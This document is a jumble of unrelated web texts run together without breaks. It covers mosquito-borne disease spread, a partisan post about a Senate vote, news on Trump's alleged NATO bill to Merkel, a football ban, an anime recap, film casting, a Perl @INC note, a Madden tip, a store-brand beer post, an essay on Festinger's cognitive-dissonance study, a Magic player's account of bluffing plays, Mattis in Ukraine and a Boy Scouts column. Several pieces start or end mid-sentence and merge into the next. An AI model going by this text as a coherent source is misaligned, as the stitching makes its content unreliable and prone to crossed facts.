Vector borne diseases, like the ones spread by mosquitoes, are also obvious candidates for pathogens-which-relocate with-climate change. West Nile is the most often touted example. It was first identified in the 1930s in Africa. But by 1999, it had reached New York City and there are now over 5000 cases reported each year.
But it’s not the only one, which could be coming soon to a North American city near you this year. Last year, chikungunya, another mosquito borne disease made headlines as a result of Lindsay Lohan who caught it while vacationing in French Polynesia. It’s a silly-sounding name, chikungunya (pronounced chicken-goon-ya) but according to one report, your joints start hurting so badly you start moving around like a chicken. Other not-so-silly symptoms include high fevers and rashes with raised lesions. And guess what, you no longer need to go on a spendy vacation in the Caribbean to get your very own case of chickungunya. As of this month, the CDC is now reporting the virus has reached nine US states, and local mosquito populations are now carriers of the virus. Just wait ‘til summer…
Exotic, deadly diseases have always existed. The only difference now is that they’re not so rare or localized. Thanks to human impacts on even the most remote environments, we’re accelerating the rate at which we come in contact with new, potentially lethal diseases. We don’t need to go to them anymore; they come to us.…pigs would fly, I know, but if McConnell had any sense of decency he would do the following:
Vote for the stimulus package in the Senate.
Why? So that his colleague, Sherrod Brown, would not have to leave his mother’s wake (say that again, in all caps: HIS MOTHER’S WAKE) in Ohio, fly to DC, cast his vote, and then fly back to Ohio in time for his mother’s funeral (say that again, in all caps: HIS MOTHER’S FUNERAL) tomorrow.
I mean, there is no doubt that the bill will pass. There is no question that Brown’s vote will be the needed 60th to ensure passage. The only other option, the only other vote to provide the margin of those who voted at the last, procedural hurdle is Ted Kennedy, and he’s dealing with brain cancer (caps again: BRAIN CANCER), so it falls to Brown, trying to bury his mother, or some one Republican with a sense of decency sufficiently developed to switch his or her vote in Brown’s stead.
And what gravels me is that there would be no political price to be paid for such a switch — in fact, it would have only benefits for the brave senator to do so, and for his or her party. It could be made clear that this is purely a gesture, not of bipartisanship, but of sympathy and support for a co-worker dealing with a terribly rough time.
No one would accuse McConnell of betraying his principles (he has some-?-ed.) (shhh–tl) were he to so vote. He could state very clearly what he was doing and why, (and send some sympathy Brown’s way). He could be seen, for just a moment, as human being rather than a partisan hack. Nothing but good could acrue to him here.
And I can’t believe there would be any electoral fall out that would follow what would be clearly understood by all as a classy gesture. McConnell — or Gregg, or any of a number of Republicans of impeccable (sic) right wing ideological pedigree — would be able to demonstrate a kind of reasonableness that the rest of their recent actions hide pretty well.
Even better: they would be praised for the kind of gesture that the GOP has found it impossible to make in response to what polls show is a pretty effective campaign to suggest that they are refusing the proffered hand of a very popular president.
Plus, of course, its just the right thing to do, the sort of care you take for those with whom you work — even the ones with whom you disagree, who you may in fact dislike — just because it makes the world a slightly better place in a way that costs nothing. Your mama told you to do such things; I and my wife work on my eight year old all the time to get him to internalize the notion that kindness is the default option in his dealings with the world.
Is this so hard to get? To do? If you are a Senate Republican, I guess so.
I can’t even get angry about this one. It’s just sad. These are damaged people.
Update: Hello to all dropping in from Balloon Juice — and thanks much to John Cole for the connection made.
Update 2: And to all of you dropping in from Grasping Reality… my thanks as well to Brad Delong for his notice of this quantum of rage.
Image: Pawel Andrejewitsch Fedotow, “Funeral Clothing,” 1851.
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Like this: Like Loading... RelatedPresident Donald Trumpreportedly handed German Chancellor Angela Merkel a bill for around £300 billion ($374 billion) for the money her country "owed" Nato for defending it, a report said on Sunday, a claim that was flatly rejected by the White House.
The Times, a U.K.-based publication, cited unnamed sources that claimed Trump handed Merkel a bill for the U.S.'s services to the alliance when the two met recently in Washington. Trump has chided several countries in the alliance, including Germany, for not spending enough on defense, forcing the U.S. to shoulder most of the financial and logistic burden.
However, Michael Short, a White House spokesperson told CNBC that the report was "false."
'According to The Times, a German minister described the action taken by Trump as "outrageous" and said that Merkel "will not respond to such provocations".
"The president has a very unorthodox view on Nato defense spending," another source told the publication. "The alliance is not a club with a membership fee. The commitments relate to countries' investment in their defense budgets."
Trump has minced no words about the trans-Atlantic alliance, and has not been shy in reprimanding Europe's largest economy about fulfilling its obligations to NATO. A day after meeting with the German chancellor, the president claimed via Twitter that Germany owed "vast sums of money" to the alliance.
In a January interview, Trump told Germany's Bild newspaper that the alliance was "obsolete." The remark stoked concern in European capitals that the new American president would abandon the fulcrum of the West's post-war defense posture.
The president has urged NATO countries to stick to a commitment made in 2014 to invest 2 percent of their gross domestic product (GDP) in defense. However, only the U.S., Britain, Estonia, Greece and Poland currently meet that benchmark.
Read the full report from The Times here.
--CNBC's Steve Kopack contributed to this articleParis Saint-Germain striker Zlatan Ibrahimovic has been handed a two-match ban for his red card in the Champions League victory against Valencia on February 12.
• Blog: Becks has impactful debut
The Swede, 31, will now miss the second leg of the last-16 fixture in Paris next week, which PSG lead 2-1 and the first leg in the quarter-finals, should they make it through.
Ibrahimovic was sent off at the end of the game for a reckless challenge on Valencia's Andres Guardado and given an automatic one-game ban, however that has now been doubled.
Manager Carlo Ancelotti will be unhappy to lose his star striker for a second game after complaining at the time that the red card was not just.
He said: "Ibrahimovic's red card was not deserved. I don't understand it. It's not fair. I don't think that he deserved it because it was a normal tackle."My Hero Academia, last year's hit shounen action title, is circling around for a second season, and it looks to be coming back with a bang. Boasting a larger episode count, even more big-name animators courtesy of Studio Bones, and a brand new prime-time slot, all signs point to Season 2 being a confident continuation of the already solid first season. There's a lot to look forward to for fans of the manga and anime alike, so it's worth looking back on the first season for a little refresher. Consider this a crash course in Your Hero Academia!
MHA takes place in a world where superpowers aren't just common, they're the norm. Various kinds of Quirks, as they're called, have become as natural as different eye colors over the past several generations, fundamentally changing society worldwide. Now that every crook and vandal could be a bonafide comic book villain, there's a new rising profession: Super Heroism. No longer the stuff of comics and movies, costumed crusader can be a career choice, complete with school courses, license tests, and sponsorship deals. Many a kid dreams of becoming a hero when they grow up, but it's by no means an easy journey, which becomes abundantly clear when we meet the lead of our story.
Izuku “Deku” Midoriya has been a superhero fanboy basically since birth, but in a classic case of irony, he was born without a Quirk of any kind. Ever the determined kid, Izuku never totally gave up on his dream to become a hero, and he finally earned his chance after demonstrating his heroic spirit in front of his lifelong role model, All Might. Proving himself to be of resolute spirit, Izuku earns the chance to inherit One For All, All Might's very own Quirk. With a new power that he can scarcely control and the cavalier training of his greatest idol under his belt, Izuku joins the prestigious hero course at UA High and takes his first step toward becoming the hero he's always wanted to be.
All Might – the #1 professional hero in the world and the legendary “Symbol of Peace,” whose reputation and brute strength have ushered in a golden age of heroism for the world. But this pillar of justice isn't quite as invulnerable as he seems. Due to a devastating injury in the line of duty, he's slowly been losing his physical prowess and can only work as a hero for a few hours a day – leading him to search for a successor. As it turns out, All Might's Quirk of immense strength and agility is one he inherited and can pass on to another – Izuku. Thus the world's greatest hero now plays mentor to his anxious and under-prepared protege. But All Might's figure casts a long shadow that's earned him as many enemies as admirers, and that legacy is something he'll have to help Izuku grapple with if the kid's going to thrive as a hero.
Katsuki Bakugo, Izuku's childhood frenemy turned outright bully, was born with a silver spoon in his mouth as far as Quirks go. He can use the nitroglycerin-like sweat from his hands to set off powerful explosions, which paired with his top notch physicality makes him a force to be reckoned with, even before you get to his nasty personality. Having been told all his life that's he's a talent among talents, Bakugo's got a titanic chip on his shoulder about any feelings of insecurity that surface in his mind, and he doesn't handle it well when he's not king of the hill. This bodes poorly for his stint at UA, when he's no longer the only big fish in the pond, culminating in a brutal fight with his former punching bag Izuku that he ultimately loses. Bakugo is nothing if not stubborn though, and he vows to prove that he has what it takes to become the #1 hero all by himself.
The rest of the characters are no slouches either. My Hero Academia features a huge cast of colorful classmates to accompany Izuku. Whether it's Uraraka's bubbly optimism, Ida's straitlaced dorkiness, or Tsuyu's deadpan bluntness, it's easy to pick a favorite in the class and root for them. While the first half of the series remains focused mostly on the central players, season 1 ultimately gave most of Class 1-A a brief chance to shine with their fight against the League of Villains.
Season's 1 back third revolves around a routine training field trip for Class 1-A being interrupted by a cadre of baddies who call themselves the League of Villains, led by the handsome yet creepy Tomura Shigaraki. Their plan to invade UA and execute All Might gives the class a firsthand look at the world of professional heroes in the most dangerous way possible. The kids all survive through a combination of quick thinking, luck, and the protection of their teachers who all take a pummeling in the process. All Might himself comes close to biting it in a showstopping bout with the League's taciturn behemoth Nomu, only surviving with the intervention of Izuku. The day is saved, but Shigaraki escapes to scheme another day – with a new target in mind.
Season 2 promises to bring even more adventures and excitement with the UA Sports Festival, pitting the students against each other and the rest of the school's first-years to show off their skills. Class 1-A has the advantage of real-life experience with honest-to-badness villains, but will that be enough to give them the edge against their peers? Well, you'll have to watch to unmask more exciting developments. What are you most looking forward to seeing from the return of My Hero Academia? Let us know in the forums!“Person of Interest” actor Winston Duke has landed the key role of the villain M’Baku — aka Man-Ape — in Marvel’s upcoming “Black Panther” film starring Chadwick Boseman.
Marvel declined to comment.
The film, directed by “Creed” helmer Ryan Coogler, also stars Michael B. Jordan, Danai Gurira, and Lupita Nyong’o. Boseman will play T’Challa, the prince of the African nation of Wakanda, who must take over the mantel after his father’s murder. Marvel unveiled the character in “Captain America: Civil War” before the standalone film bows on Feb. 16, 2018.
In the comics, M’Baku was one of Wakanda’s most powerful warriors and one of T’Challa’s biggest rivals.
Joe Robert Cole is co-penning the script with Coogler. Kevin Feige is producing the movie.
Marvel had been testing several actors for the role over the past week, including “The Get Down” actor Yahya Abdul-Mateen II, before casting Duke. Duke is relatively new to the industry, having recently graduated from the Yale School of Drama. He had recurring roles on several TV shows, including “Major Crimes,” “The Messengers,” and “Person of Interest.”
He is repped by Abrams Artists Agency, Wenzel Entertainment, and Hansen, Jacobson, Teller, Hoberman, Newman, Warren, Richard, Rush & Kaller.As of v5.26, the. in @INC is gone by default. When you compile perl, it bakes the default module search path (based on your configure settings) into the binary. These are the paths that perl searches without you adding to @INC with command-line switches or environment variables, and the paths you see when you run perl -V:
$ perl -V... lots of other output... @INC: /usr/local/perls/perl-5.24.0/lib/site_perl/5.24.0/darwin-2level /usr/local/perls/perl-5.24.0/lib/site_perl/5.24.0 /usr/local/perls/perl-5.24.0/lib/5.24.0/darwin-2level /usr/local/perls/perl-5.24.0/lib/5.24.0.
Since that. is not a directory you know about until use or require starts to do their work and someone might fool your program into being in the wrong directory, that can lead to you loading a module you don’t want or expect. I write more about that in Perl v5.26 removes. from @INC, but don’t think you’re safe! on my Mastering Perl blog. Consider the Storable security problem, for instance.What To Look For When Throwing Screen Passes in Madden
Screen passes have always been overly effective in Madden games. They were in Madden 15 and they likely will be in Madden 16 as well. However, not everyone knows what to look for when they throw screen passes.
This post will cover what to look for from the defense when you are just about to throw the screen pass so you don’t throw interceptions or complete the pass for negative 5 yards.
Let’s first start with what to look for.
When we are releasing the ball, the look in the screenshot above is ideal. You have plenty of blockers out in front and no defenders near the receiver.
You can see that when we catch the ball, we have all kinds of open field in front of us.
Another acceptable situation when you will be fine throwing a screen pass is when you don’t necessarily have all kinds of open space around your wide receiver, but every defender is blocked.
Here is an example of what that looks like.
You can see that it is much tighter this time but there really isn’t any danger of the ball being intercepted because any defender near the ball is engaged with a block.
We are able to catch it and even tough things look a little tighter than in the last example, we are pretty much in the same position as before. We have all kinds of open field in front of us.
Now let’s move on to perhaps the most important information which is when not to throw the screen pass.
If you blindly throw a screen pass without looking, you can throw pick 6’s really easily or lose a quick 5 yards. It is much better to just throw the ball away or to a receiver on a drag route instead.
You can see in the screenshot above that the defender has a good angle on our receiver. Our offensive lineman might have a chance of blocking him but it isn’t too good.
This is how that play ended up. With our blocker standing around and the defender putting a hit stick on our exposed wide receiver. We end up with a 3 or 4 yard loss.
The point of this Madden tutorial is so that you can recognize when it is safe to throw a screen pass and when it isn’t. Practice it with Madden 15 so you are ready when Madden 16 hits stores in August.April 24, 2017 • Bad Beer • Ed M Morris • Trouble Brewing • Walmart Craft Beer
By Editor In Chief Ed M Morris
Over the Easter weekend, I was in a Walmart (Queensbury, NY), and I spotted a craft beer "Cat’s Away IPA". I took it down and looked at the cans for a closer look. Eye catching graphics on the cans, the usual data about the beer itself. And while it is being sold as "Walmart's own brand of craft beer" the beer itself is produced by Trouble Brewing. And there is no indicator that Walmart is involved with the beer itself. If I hadn't heard about the beer in industry news previously, I would have thought Trouble Brewing was a new Craft Brewery.
For research, I put in my cart, paid for it and took it home. More on the actual beer later.
So when it comes to being called a craft beer, who do we consider the brewer here? Walmart and Trouble Brewing are partnered to bring a store brand craft beer to the store's 11,000 locations (the ones that are allowed to sell beer) or Trouble Brewing? Who is Trouble Brewing? I never heard of them before.
And things are even more in the gray area according to the Washington Post: "In the case of Walmart, no American brewery with the name Trouble Brewing actually exists. The applicant listed on filings for the with the Treasury Department’s Alcohol and Tobacco Tax and Trade Bureau (TTB) is “Winery Exchange, Inc.,” now known as WX Brands, which “develops exclusive brands of wine, beer and spirits for retailers around the world,” according to its website. The brewery address given on the TTB documents is Genesee Brewing’s business office."
Turns out Genesee doesn't brew beer either, they contract production out to other brewers as well. This rabbit hole gets weirder the more I travel down it. Kind of wish I didn't take that beer off the shelf in the first place.
This method of sourcing a "House Beer" for retailers is not uncommon. Trader Joe's and Costco does it as well. So this is nothing new. I just would like to see more visible data on the can/bottle that clearly shows that the retailer is not the company who is actually brewing the beer you are considering buying.
Is Cat's Away IPA any good? It's wasn't bad |
sixteen movies this monthThere are so many unknown worldsFind a new "liking"RINA2016-01-28 21:36:23Apocalypse Oak Park: Dorothy Martin, the Chicagoan Who Predicted the End of the World and Inspired the Theory of Cognitive Dissonance In 1954, a suburban housewife in Oak Park caused a small stir by announcing that aliens from the planet Clarion had told her the world was coming to an end. It didn’t, but the little stir she caused on Cuyler Avenue led to one of the most important breakthroughs in psychology and social science in the 20th century.
In December 1954, the Tribune ran a short item about a Michigan doctor who foresaw the end of the world:
The doctor, fortuitously named “Charles Laughead,” a former staff physician at Michigan State, forecast a tidal wave, a volcanic action, and “a rise in the ground extending from Hudson’s bay [in Canada] to the Gulf of Mexico which will seriously affect the center of the United States.”
But Dr. Laughead was merely serving as the spokesman for Dorothy Martin, a 54-year-old Oak Park housewife, who herself was simply relaying communications from “outer space.” Martin’s extraterrestrial sources from the planet Clarion informed her that “there will be much loss of life, practically all of it, in 1955…. It is an actual fact that the world is in a mess. But the Supreme Being is going to clean house by sinking all of the land masses as we know them now and raising the land masses from under the sea.”
Observers of history and residents of the center of the United States are aware that this did not occur, though Laughead claimed that a December 21 earthquake near Eureka, California “might have been part” of the “advance information” on Martin’s prophecies. The next week, Dorothy Martin was placed under psychiatric care to prevent the Oak Park police of charging her with “inciting to riot,” after a “boisterous crowd… blocked traffic on Christmas Eve outside the Martin home at 707 S. Cuyler Av., Oak Park, after Mrs. Martin had predicted that she and her associates would be ‘lifted up’ that night by spacemen.
Martin also faced charges of contributing to the delinquency of minors, because a “police investigation showed that children of the neighborhood had talked to Mrs. Martin about space travel with the result that some of the youngsters had trouble sleeping afterward.”
What Martin and Laughead didn’t know was that their hearty band of future space travelers had been infiltrated: by University of Minnesota social psychologist Leon Festinger and his colleagues. After reading a newspaper article about Martin, Festinger rounded up a handful of psychologists and psychology students to pose as converts to Martin’s small group of “Seekers,” gaining their trust and recording the group’s actions during their not-Final Days.
In 1956, Festinger, Henry W. Riecken, and Stanley Schachter produced When Prophecy Fails: A social and psychological study of a modern group that predicted the destruction of the world, an account of their time inside Martin’s group. Though it’s a work of psychology, it’s written in a narrative that reads like a combination of investigative journalism and Charles Portis’s brilliant cult spoof Masters of Atlantis.
Martin had been exposed to theosophy and Scientology, and Laughead was a former Christian missionary and mystical dilettante who was enthralled by UFOs. Between them they assembled a patchwork belief system that combined elements of Christianity, Scientology, atomic age sci-fi, and Paradise Lost. (And Star Wars, which obviously didn’t exist yet, though Joseph Campbell might argue otherwise.)
According to their creation myth, the planet Car—though they were wrong about the Rapture, they were eerily accurate about Blondie’s “Rapture"—had been divided between the Lucifer-led scientists and the followers of God and the Light:
The “scientists,” having invented something analogous to atom bombs—in those days, the name was “alcetopes"—threatened to destroy the hosts of Light and, through their fumbling cleverness, succeeded in blowing to pieces the planet Car. The disappearance of Car, as an integrated mass, produced enormous disturbances in the balance of the omniverse (“all universes") and nearly caused complete chaos. Meanwhile, the forces of Light had retreated to other planets, such as Clarion, Uranus, and Cerus, where they regrouped and considered their next strategy. Lucifer led his troops, their minds now obliterated of cosmic knowledge, to earth. [p. 52-53]
The forces of Light wouldn’t complete their strategy until 1977, under the direction of George Lucas.
Of course, you can’t have an apocalyptic movement in the post-War Chicago suburbs without the light-comedy, Portis-esque trappings of the era:
Toward the end of his talk, a letter was passed around for everyone to sign; it was addressed to President Eisenhower, asking him to make public the “secret information” the air force had accumulated on flying saucers.
About two hours after the formal meeting had started, it broke up, for refreshments, into small groups of two or three. Some discussed spiritual transmigration, others college football. Some of the girls served the tea and cake—an handsome monument covered with pink and blue frosting in the design of a “mother ship” and three small flying saucers, bearing the words “Up in the Air” …. Later, a few of the young people attempted levitation of one another, though this venture also failed. [p. 72]
The bulk of the book has a literary, novelistic quality, following the conversations of the believers through November and December as one date for the Rapture passes into another, and their rationalizations grow ever more elaborate while staying quaintly suburban. Near the end of the group’s dissolution, Martin received the following message, which instructed the group to go to the altar, which was her sun porch, and to record songs transmitted by the students of “Losolo University":
“So shall ye be at the altar at the time of the evening when there is a tola [flying saucer] directly over you. So by your own tape shall ye play a song and dance your own time. Use the mike and put it on the altar and sit where you are and put the hand to the mike not too close and be the first to get the direct taped posy word. And give thyself the pleasure of a pretty song which has been sung by the boys’ glee club of the Losoloes.” [p. 184]
Reckoning for the group came on Christmas Eve. The Seekers gathered on Cuyler Avenue to sing Christmas carols while they waited for the flying saucers, surrounded by the press and onlookers. “They sang and waited for the spacemen for perhaps twenty minutes before they retreated to the living room,” the authors write. By the time Dr. Laughead gave an interview to a reporter, it was clear that their rationalizations were running out [p. 187-189; “Dr. Armstrong” is Dr. Laughead, as Festinger gave pseudonyms to everyone involved]:
Newsman: Didn’t you say you were going to be picked up by the spacemen?
Dr. Armstrong: No.
Newsman: Well, what were you waiting out in the street for singing carols?
Dr. Armstrong: Well, we went out to sing Christmas carols.
Newsman: Oh, you just went out to sing Christmas carols?
Dr. Armstrong: Well, and if anything happened, well, that’s all right, you know….
[snip]
Newsman: Uhuh, but do you think it’s conceivable that they were scared away by the crowd?
Dr. Armstrong: Oh no, they weren’t scared away, but a thing like that, it’s shall we say, expedient?
Newsman: Expedient?
Dr. Armstrong: Ya—
Newsman: In what way?
Dr. Armstrong: Well, I mean to get the mob reaction to that kind of a setup before they actually decide to do anything.
Newsman: In other words, so they wouldn’t start a riot or something, if they picked you up then.
Dr. Armstrong: Well, heavens, they’ve had riots over less than that, you know.
As great as Masters of Atlantis is, there’s nothing in it that’s as perfect as that exchange.
But When Prophecy Fails is more than just a wonderfully readable dispatch from the edges of psychology. The book was the genesis of Festinger’s theory of “cognitive dissonance": the idea that humans are as given to rationalizing as being rational. It may seem absurdly obvious now that Festinger’s phrase has become part of the vernacular, but in 1957, when he published A Theory of Cognitive Dissonance, it was a revolutionary theory that would go onto influence the study not only of psychology, but politics, economics, and other fields.
Among the psychologists influenced by the work was Philip Zimbardo, designer of the in/famous Stanford Prison Experiment, which clearly bears marks of Festinger’s breakthrough. (If you’re not familiar with it from the reams of references in the wake of the Abu Ghraib scandal, you might remember it from an episode of Veronica Mars.) Here’s Zimbardo introducing the concept of cognitive dissonance, using video of Festinger’s lab experiments; Festinger himself makes an appearance:
“When dissonance is present, in addition to trying to reduce it, the person will actively avoid situations and information which would likely increase the dissonance,” Festinger wrote in A Theory of Cognitive Dissonance. As he completed When Prophecy Fails, Dorothy Martin had left Oak Park for a Dianetics center in Arizona: “in the few ordinary letters she wrote us, she still seemed to be expecting some future action from outer space.”
Martin fell off of Festinger’s radar, spending several years in the Peruvian Andes, returning to the U.S. in the 1960s. By then known as “Sister Thedra,” she founded the Association of Sananda and Samat Kumara in Mount Shasta, California (“long an attraction to America’s mystically minded”), where she found herself again reporting from the nether regions of space to a small group of believers.
She died in 1992 in Sedona, Arizona—home of spiritual vortices and a thriving New Age tourist industry—at the ripe old age of 92: “It is now come the time that ye come out from the place wherein ye are. Ye shall shout for joy! Let it be, for many shall greet thee with glad shouts! So be it, no more pain….”
(big h/t to the Christian Science Monitor and @mbimotmog.)
Update: Slate also has a piece by Vaughn Bell on Festinger and When Prophecy Fails, as does Adam Doster.
ShareThe anatomy of ethical play has been a popular point of contention in the MTG community for the past week. As a competitor I can attest that when placing a high priority on winning, the distinction between angle shooting, rules-lawyering, gamesmanship, leveling, bluffing and even cheating can sometimes be ambiguous. But I can also attest that regardless of the stakes, the large majority of professional players, including myself, significantly prioritize fair play over winning. So in an attempt to better educate myself and all of you on the matter, I’m going to describe my thought process in depth during situations in which I made plays that could potentially be construed as unethical. I would like to preface this by stating I do believe the following plays are ethical, or else I wouldn’t have made them of course, but I do think there is room for discussion. So while I’m not claiming I should be exempt from any scrutiny, I would like to reiterate that the point of this is to initiate a rational discussion on what constitutes ethical play and to define the difference between ethical play and unethical play, for a better understanding of this can lead to a more enjoyable experience for all involved in the game.
I chose the following scenarios for a specific reason. While they are all plays I made, they were influenced by similar plays I had seen professional players make on previous occasions. My realization of the significance of this is my purpose for writing this article. As someone who frequently plays on coverage, it’s imperative to have a better understanding on what constitutes ethical play in order to a establish an ethical precedent for less experienced players.
Scenario #1
My opponent just played the last card in their hand, Olivia Voldaren, and killed off the last Infect creature I had in play. It’s the end of my turn, and I’m attempting to hastily figure out what I’m going to do on my next turn.
Can I actually still win?
Do I have any outs?
I don’t have a removal spell in my deck for the Olivia.
I don’t think I can win.
I can draw Become Immense though.
If I cast Might of Old Krosa in my main phase and attack, will my opponent block?
I don’t think so.
I haven’t been representing Become Immense, so it’s very unlikely they would throw away the Olivia to play around a top decked Become Immense.
So if I draw Become Immense, I probably win.
What happens if I don’t draw Become Immense?
I lose.
My odds of drawing a Become Immense are less than 10%, and I have a one turn window to do so.
This doesn’t seem good.
If Become Immense is the only card that matters here, I have to make my opponent think that’s the card I drew.
What’s the best way to do that?
Regardless of what I draw, I’m going to scan my graveyard quick.
I’ll pretend to think for just a few seconds then cast Might of Old Krosa on Dryad Arbor.
I’ve already deduced that my opponent isn’t likely to block, so I really need them to think the card I draw is Become Immense.
This will be a tough decision for my opponent. So while I don’t think they’re going to block, they’re going to at least be considering it.
After I attack, I’ll motion to cast a Become Immense before stopping as if I just realized they still hadn’t declared blocks yet.
If they genuinely believe I drew a Become Immense, they’re obviously incentivized to block.
If they don’t buy it, it will be even easier for them not to block.
I can’t be too obvious about it.
Subtlety is key.
I untapped then drew a Breeding Pool. I began carrying out my turn exactly as I had planned. I cast Might of Old Krosa on my Dryad Arbor, and then I attacked. After I attacked, I tapped my Breeding Pool and picked up my graveyard. My opponent then informed me that they were still thinking, so I stopped. During this I never said anything, and I didn’t move any cards outside my graveyard. My opponent then chump blocked my Dryad Arbor with their Olivia Voldaren.
(I did lose this game still)
Scenario #2
My opponent just passed after playing a Fulminator Mage and a Raging Ravine. I untapped and drew an Inkmoth Nexus.
My opponent missed a land drop last turn, so their last draw was obviously Raging Ravine.
They almost certainly don’t have a removal spell because they had a good opportunity to cast one last turn, and their last draw was Raging Ravine.
They left back Tarmogoyf, so they’d obviously prefer to block with the Tarmogoyf.
If I attack, they’re going to block with Tarmogoyf and then I’d cast Become Immense.
The last cards in their hand are creatures presumably, so If I trade Become Immense for Goyf they’re just going to refill their board.
I’d just be trying to draw Vines before they draw a removal spell at that point.
That probably won’t work out well.
If I get them to use their Fulminator Mage, I can play Inkmoth Nexus.
At that point I would just need to draw a land or a Mutagenic Growth, and they would have a single draw step to find a removal spell for the Inkmoth Nexus.
How do I get them to use their Fulminator Mage?
I have to make them think that either my Breeding Pool or my Pendelhaven matter.
How do I do that?
My best play here is Blighted Agent, so maybe they’ll chump with Fulminator and blow up my Breeding Pool.
Seems unlikely though.
If I don’t play Blighted Agent pre-combat though, I obviously don’t have one.
They’re constrained on mana, and are incentivized to play the creatures in their hand in order to speed up their clock.
So if my opponent knew I had a Spell Pierce in my hand, they may be further incentivized to use Fulminator Mage on my Breeding Pool.
I can pretend to accidentally reveal the Spell Pierce in my hand.
I can do that then think for a couple seconds and attack afterwards.
I decided that this line gave me the best chance to win. I’m sacrificing an insignificant amount of equity by revealing the Spell Pierce, and attacking here isn’t great but it’s not the worst either. I started to shuffle my cards a bit as I frequently do, but I intentionally dropped the Spell Pierce while doing so. I quickly scooped it back up and resumed thinking. I went to combat and attacked with the Glistener Elf, and my opponent blocked with their Fulminator Mage which prompted a Pendelhaven activation from me. They responded by using the Fulminator Mage on my Breeding Pool, and I followed up by playing the Inkmoth Nexus. On their turn, they attacked with Tarmogoyf and played an additional one. I then drew and cast a Gitaxian Probe which revealed a Tarmogoyf and a Verdant Catacombs for my opponent. I drew the land I needed off the Probe and attacked for lethal.
Scenario #3
My opponent had a Spellskite out for the majority of the game, and it was rather effective in hindering my game plan. I was only able to chip in for couple points while I stared at my hand full of pump spells. I just drew a Mutagenic Growth, and I’m dead on board next turn.
I’m dead.
I needed to draw an answer to Spellskite.
I can just cast my pump spells and hope my doesn’t remember their Spellskite.
It almost certainly won’t work though.
I need them to not use Spellskite, but I can’t picture a scenario in which they don’t.
How do I win this?
I can use Vines of Vastwood on their Spellskite.
If they're unfamiliar with the interaction, they may think it prevents them from redirecting spells to Spellskite.
I don’t see how I win this game another way.
I have to hurry up though.
If this worked, I obviously would’ve done it right way.
If I take much longer, it looks suspicious.
I guess I just go for it.
It was still a longshot, but this seemed like it was my best chance to win the game. I used Vines on the Spellskite, and then proceeded by casting Might of Old Krosa on my Blighted Agent. My opponent thought for a moment and then let the Might resolve. I didn’t say anything during this exchange. After casting the Might, I attacked with Blighted Agent and used my Mutagenic Growth. My opponent conceded.
As you can see in each of the preceding scenarios, I acted within the confines of the rules and my sole intent was never anything but winning the game. But in each scenario, I was relying on my opponent misinterpreting my actions in order to do so. This is where the subject can be ambiguous. Do you consider any of these plays to be unethical? What’s the difference between an ethical play and an unethical play, and where do we draw the line? The answers to these questions aren’t clear and are largely subjective. But if the community as a whole was able to reach a general consensus on them, it could be massive step toward standardizing ethical play at all levels of the game.KYIV, UKRAINE—On the 26th anniversary of Ukraine’s independence from Moscow, U.S. Defence Secretary Jim Mattis accused Russia of menacing Europe and suggested that he favours providing Ukraine with defensive lethal weapons. Mattis also said the Trump administration will not accept Moscow’s annexation of Ukraine’s Crimea region.
U.S. Secretary of Defense Jim Mattis, left, met with Ukrainian President Petro Poroshenko in Kiev on Thursday. "Have no doubt,” Mattis said at a news conference with Poroshenko. “The United States stands with Ukraine.” ( ANATOLII STEPANOV / AFP/GETTY IMAGES )
After attending a spirited and colourful independence day parade, Mattis met with President Petro Poroshenko and other top government leaders. He is the first Pentagon chief to visit the former Soviet republic since Robert Gates in 2007. Read more: Putin names new ambassador to U.S. who will succeed envoy at centre of election meddling controversy
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Russian diplomat wants U.S. to ‘keep the dialogue open’ despite sanctions Trump blames Congress, not Putin for U.S.-Russia tension, says relations are at an ‘all-time’ low “Have no doubt,” Mattis said at a news conference with Poroshenko. “The United States stands with Ukraine.” He said Washington does not, “and we will not,” accept Russia’s annexation of Crimea, a 2014 action that was followed by Russian military intervention in support of separatists in eastern Ukraine. Poroshenko told reporters that Crimea is Ukrainian territory. “It should come back to Ukraine,” he said. Mattis was blunt in his criticism of Russia and said his presence in Kyiv is intended as a statement of the depth of American commitment to Ukraine’s sovereignty.
“Despite Russia’s denials, we know they are seeking to redraw international borders by force,” Mattis said, an ambition by Moscow that the secretary said is undermining sovereign European nations and stirring tension. Asked by a reporter whether he agrees with the Obama administration’s view that selling defensive lethal weapons to Ukraine would provoke Moscow, Mattis replied, “Defensive weapons are not provocative unless you’re an aggressor.”
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Mattis declined to say explicitly what he would recommend to the White House on the weapons issue. He did not say so, but it is known that the Pentagon and the State Department have recommended going ahead with defensive weapons transfers to Ukraine. Poroshenko sidestepped the question of how soon he expects a White House decision on arms. He said, however, that Moscow should realize that stepping up U.S. military support for Kyiv “would increase the price if Russia made the decision to attack my troops and my territory.” Poroshenko said an estimated 3,000 “regular” Russian troops are in eastern Ukraine. In his remarks, Mattis cited agreements and commitments that Moscow has made since the collapse of the Soviet Union in 1991, including a two-year-old accord known as the Minsk Agreement, which lays out a road map for reducing the conflict in Ukraine that has claimed some 10,000 lives over the past three years. He also cited other Russian commitments to Ukraine dating to 1994. “Unfortunately, Russia is not adhering to the letter, much less the spirit of these international commitments,” he said. “We in the United States understand the strategic challenges associated with Russian aggression,” Mattis added. It has been known for weeks that the Trump administration has reopened consideration of long-rejected plans to give Ukraine lethal weapons. Those deliberations put pressure on U.S. President Donald Trump, who is fighting perceptions he is soft on Moscow amid investigations into whether his campaign colluded with the Kremlin to interfere in the 2016 U.S. election. In his remarks alongside Poroshenko, Mattis said the U.S. is committed to helping Ukraine build and modernize its armed forces. Sen. John McCain, a vocal critic of former president Barack Obama’s cautious approach to assisting the Ukrainian army, said Wednesday that Trump should change that course. “It is long past time for the United States to provide Ukraine the defensive lethal assistance it needs to deter and defend against further Russian aggression,” McCain said in a statement. “Raising the cost of aggression may help to change Vladimir Putin’s calculus, pressure Russia to fully comply with the Minsk agreements, and, ultimately, create more stable security conditions on the ground that are essential for peace.”
Read more about:Sitting at my usual corner table in the back of Buzzy’s 8-Ball Tavern and Pool Room, It occurred to me on Thursday night that there are any number of serious issues and current crisis that we could talk about for this week’s dispatch from the front lines.
But setting all those issues aside, let me tell you something that may have escaped your attention while you’ve been busy digging a backyard bomb shelter or getting up to speed on which starlets haven’t been groped by Weinstein. Apparently, and I did not see this coming, the Boy Scouts of America (BSA) leadership has decided to open the Cub Scouts and Boy Scouts to, wait for it… girls.
Now, if you’re like me, you probably have always assumed that boys would tend to join the Boy Scouts and girls would tend to gravitate to the Girl Scouts. Boys whittled wood into sharp, pointy things and set fire to stuff, while girls generated an incredible amount of revenue selling delicious cookies. I’m particularly fond of Samoas.
